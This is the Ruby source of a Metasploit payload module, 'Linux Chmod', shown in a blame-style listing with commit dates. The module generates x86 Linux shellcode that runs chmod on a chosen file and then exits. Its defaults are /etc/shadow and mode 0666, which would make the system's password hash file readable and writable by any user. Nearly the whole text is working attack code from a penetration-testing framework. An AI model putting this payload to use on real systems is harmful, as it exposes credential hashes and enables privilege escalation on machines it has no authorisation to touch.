2010-05-03 17:13:09 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-05-03 17:13:09 +00:00
|
|
|
##
|
2008-03-10 21:21:51 +00:00
|
|
|
|
2010-05-03 17:13:09 +00:00
|
|
|
require 'msf/core'
|
2008-03-10 21:21:51 +00:00
|
|
|
|
|
|
|
###
|
|
|
|
# Linux Chmod(file, mode)
|
|
|
|
#
|
|
|
|
# Kris Katterjohn - 03/03/2008
|
|
|
|
###
|
2008-10-02 05:23:59 +00:00
|
|
|
module Metasploit3
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Payload::Single
|
|
|
|
include Msf::Payload::Linux
|
2008-03-10 21:21:51 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Linux Chmod',
|
|
|
|
'Description' => 'Runs chmod on specified file with specified mode',
|
|
|
|
'Author' => 'kris katterjohn',
|
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Arch' => ARCH_X86))
|
2008-03-10 21:21:51 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('FILE', [ true, "Filename to chmod", "/etc/shadow" ]),
|
|
|
|
OptString.new('MODE', [ true, "File mode (octal)", "0666" ]),
|
|
|
|
], self.class)
|
|
|
|
end
|
2008-03-10 21:21:51 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Dynamically generates chmod(FILE, MODE) + exit()
|
|
|
|
def generate_stage
|
|
|
|
file = datastore['FILE'] || '/etc/shadow'
|
|
|
|
mode = (datastore['MODE'] || "0666").oct
|
2008-03-10 21:21:51 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
payload =
|
|
|
|
"\x99\x6a\x0f\x58\x52" +
|
|
|
|
Rex::Arch::X86.call(file.length + 1) + file + "\x00" +
|
|
|
|
"\x5b" + Rex::Arch::X86.push_dword(mode) +
|
|
|
|
"\x59\xcd\x80\x6a\x01\x58\xcd\x80";
|
|
|
|
end
|
2009-03-30 01:09:09 +00:00
|
|
|
end
|